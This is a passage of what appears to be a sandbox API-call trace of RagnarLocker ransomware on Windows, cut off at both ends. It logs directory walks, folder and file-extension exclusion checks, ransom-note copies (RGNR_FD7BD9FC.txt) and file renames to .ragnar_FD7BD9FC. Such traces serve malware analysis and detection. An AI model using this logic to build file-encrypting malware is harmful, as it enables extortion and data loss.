(hObject=0xffffffff) returned 0 [0055.256] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" [0055.256] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.ragnar_FD7BD9FC" [0055.256] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.256] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0055.256] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0055.256] lstrcmpiW (lpString1="main.xml", lpString2=".") returned 1 [0055.256] lstrcmpiW (lpString1="main.xml", lpString2="..") returned 1 [0055.257] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2=".") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="..") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Windows") returned -1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Windows.old") returned -1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Tor browser") returned -1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Internet Explorer") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Google") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Opera") returned -1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Opera Software") returned -1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Mozilla") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="Mozilla Firefox") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="$Recycle.Bin") returned 1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="ProgramData") returned -1 [0055.257] lstrcmpiW (lpString1="numbers", lpString2="All Users") returned 1 [0055.257] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0055.257] lstrcpyW (in: lpString1=0x1eab72, lpString2="numbers" | out: lpString1="numbers") returned="numbers" [0055.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\" [0055.257] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\" [0055.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\RGNR_FD7BD9FC.txt" [0055.257] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0055.259] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*" [0055.259] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0055.259] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0055.259] lstrcpyW (in: lpString1=0x1e9c96, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0055.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x732d6480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0055.259] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.260] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x732d6480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.260] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.260] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.260] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2=".") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="..") returned 1 [0055.260] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732d6480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0055.260] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0055.260] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0055.260] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732d6480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0055.260] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0055.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x732d6480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0055.260] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x732d6480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0055.260] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0055.260] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="numbase.xml" | out: lpString1="numbase.xml") returned="numbase.xml" [0055.260] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned=".xml" [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="autorun.inf") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="boot.ini") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="bootfont.bin") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="bootsect.bak") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="bootmgr") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="bootmgr.efi") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="bootmgfw.efi") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="desktop.ini") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="iconcache.db") returned 1 [0055.260] lstrcmpiW (lpString1="numbase.xml", lpString2="ntldr") returned 1 [0055.261] lstrcmpiW (lpString1="numbase.xml", lpString2="ntuser.dat") returned 1 [0055.261] lstrcmpiW (lpString1="numbase.xml", lpString2="ntuser.dat.log") returned 1 [0055.261] lstrcmpiW (lpString1="numbase.xml", lpString2="ntuser.ini") returned 1 [0055.261] lstrcmpiW (lpString1="numbase.xml", lpString2="thumbs.db") returned -1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.261] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0055.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.261] CloseHandle (hObject=0xffffffff) returned 0 [0055.261] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" [0055.261] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.ragnar_FD7BD9FC" [0055.261] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.261] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732d6480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0055.261] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0055.261] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0055.261] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\RGNR_FD7BD9FC.txt") returned=".txt" [0055.261] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0055.261] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732d6480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0055.262] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0055.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0055.262] lstrcmpiW (lpString1="numbers.xml", lpString2=".") returned 1 [0055.262] lstrcmpiW (lpString1="numbers.xml", lpString2="..") returned 1 [0055.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2=".") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="..") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Windows") returned -1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Windows.old") returned -1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Tor browser") returned -1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Internet Explorer") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Google") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Opera") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Opera Software") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Mozilla") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="Mozilla Firefox") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="$Recycle.Bin") returned 1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="ProgramData") returned -1 [0055.262] lstrcmpiW (lpString1="oskmenu", lpString2="All Users") returned 1 [0055.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0055.262] lstrcpyW (in: lpString1=0x1eab72, lpString2="oskmenu" | out: lpString1="oskmenu") returned="oskmenu" [0055.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\" [0055.262] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\" [0055.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\RGNR_FD7BD9FC.txt" [0055.262] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0055.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*" [0055.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0055.292] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0055.292] lstrcpyW (in: lpString1=0x1e9c96, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0055.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73322740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0055.292] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.292] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73322740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.292] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.292] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.292] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0055.292] lstrcmpiW (lpString1="oskmenubase.xml", lpString2=".") returned 1 [0055.292] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="..") returned 1 [0055.292] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: 